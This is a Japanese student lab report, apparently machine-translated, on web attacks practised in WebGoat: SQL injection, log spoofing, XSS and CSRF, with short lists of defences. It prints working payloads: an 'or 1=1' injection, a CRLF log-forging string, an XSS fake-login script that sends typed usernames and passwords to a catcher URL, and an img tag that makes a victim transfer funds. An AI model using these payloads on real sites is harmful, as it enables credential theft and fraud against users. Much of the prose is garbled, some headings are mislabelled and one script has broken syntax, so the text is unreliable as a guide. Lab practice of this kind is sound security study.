ディレクトリ
Exp9:Webセキュリティエッセンシャル
まず、基本的な
1.SQLインジェクション攻撃
- 理論的根拠:
- 犯罪者は、データベースまたは破壊に予測不可能な又は不可逆的な攻撃の結果、背景がSQLクエリを実行するように、特殊文字、悪意のあるSQLコードを入力するフォームを介して、プログラミングの抜け穴を利用する場合には、です。
- 守備のアプローチ:
- 不要なフォーム送信のページを避けます。
- 制限文字種、文字長の制限:などの入力コントロールを形成します
- データベース層でのライセンスメカニズムを使用して、データベース操作は、行動を制限します。
2.XSSクロスサイトスクリプティング攻撃
- 理論的根拠:
- サーバーにアクセスするための通常のユーザーは、このようなユーザーのアクセスなどの攻撃を、スクリプトられるとき、悪質なスクリプトコードを注入することにより、脆弱性のサイトを利用し、あるいは信頼するようにユーザーのブラウザを使用して送信したり、サーバーに保存し、攻撃者クッキーやその他の情報。
- 守備のアプローチ:
- 、独自のユーザーがブラウザに入力したユーザー名とパスワードを保存しないようにしてください
- Webサイトの開発者は、ユーザーによってアップロードされたデータの一部フィルタリングする必要があります
- 入力フォームの制御
3.CSRF CSRF
- 理論的根拠:
- ユーザーがWebサイトの入力を訪問すると、ユーザー名とパスワードは、ウェブサイトの成功事例を訪問し、Aは、Cookie情報を生成して返すのサイトで検証され、通常はサイトAに要求を送信 ない出口部位A、別の悪質なアクセス、サイトBの前に、サイトBはサイトAに、いくつかの攻撃コードと要求へのアクセスを返すことがあるため、サイトBの要求に応じて、要求元のサイトAへ Webサイトが、要求が悪質であるかわからないので、それは悪質なコードを実行します。
- 守備のアプローチ:
- トークン認証要求
- リファラーを確認
- ランダム検証を追加します
- Cookieドメインを設定します
二、SQLインジェクション
1.コマンドインジェクション
- 攻撃方法:フォームの送信中に入ってくる悪質なコマンドデータは、サーバ側で実行します。
- 実験手順:
- ページ上で右クリックし、選択
inspect Element
- キーボードを押して
f12
表示ページのソースを
- クリックして
view
次のようにしているコードの結果を実行するためのボタンを:
- ページ上で右クリックし、選択
2.デジタルインジェクション
- 攻撃方法:決して本当にフォーム入力で注入されたSQL文が実行されなければならないように、入力タイプデジタル世代。
- 実験手順:
- するために、実験的にページのソースコードを参照してください
value='101'
、追加、変更or 1=1
、本当に式のように決して設定されていません。
- 以下の結果を実行するためのボタンをクリックしてください:
- するために、実験的にページのソースコードを参照してください
3.ログ欺きます
- 攻撃方法:犯罪者は、スクリプトを注入することにより、スクリプト経由でログファイルを変更します。
- 実験手順:
- 実験環境によって提供される形式の入力とキャリッジリターンとラインフィード。
2329%0d%0aLogin Succeeded for username: 162329
%0d
%0a
- 以下に示すような結果:
- 実験環境によって提供される形式の入力とキャリッジリターンとラインフィード。
三、XSS攻撃
1. XSSのフィッシング攻撃
- 攻撃方法:フォームの入力スクリプトを使用して、ページのHTMLを変更するには、ユーザーが入力したときにユーザーが入力した情報を取得するフィッシングサイト生成します。
- 実験手順:
- テスト環境、フォーム、構造釣りインターフェイスでスクリプトコードを入力します。
- インターフェイスのコードは次のよう:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR> <script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "; } </script>
- 示すように、上記のコードは、検索をクリックし、検索ボックスに入力されます。
- ユーザーがクリックは、攻撃者のインタフェースを送信すると、以下のように表示されます。
四、CSRF攻撃
1. CSRF
- 攻撃方法:
- 悪意のあるユーザーが別のユーザーCSRF攻撃を誘発するためにクリックを誘惑するためにURLを送信します。それが簡単にユーザーがだまさために作るために、私たちは絵の形式でURLを非表示にすることができます。
- 実験手順:
- 261と900のためのsrcと値の[表示]メニューのパラメータ
- メッセージボックスで、入力し
<img src="http://localhost:8080/WebGoat/attack? Screen=261&menu=900&transferFunds=2329"/>
、次のように[送信]をクリックしますと結果は以下の通りでした。
- ユーザーがクリックすると、メッセージのフィールドピクチャは、ユーザ2329元を盗みます
第五に、実験と経験の概要
この実験は実際の実験では、だけでなく、これらの攻撃に対して、独自の防衛を総括プロセスを理解するために、SQLインジェクション、XSS攻撃やCRSF攻撃を何であるかを感じるを通じて、利益を感じます。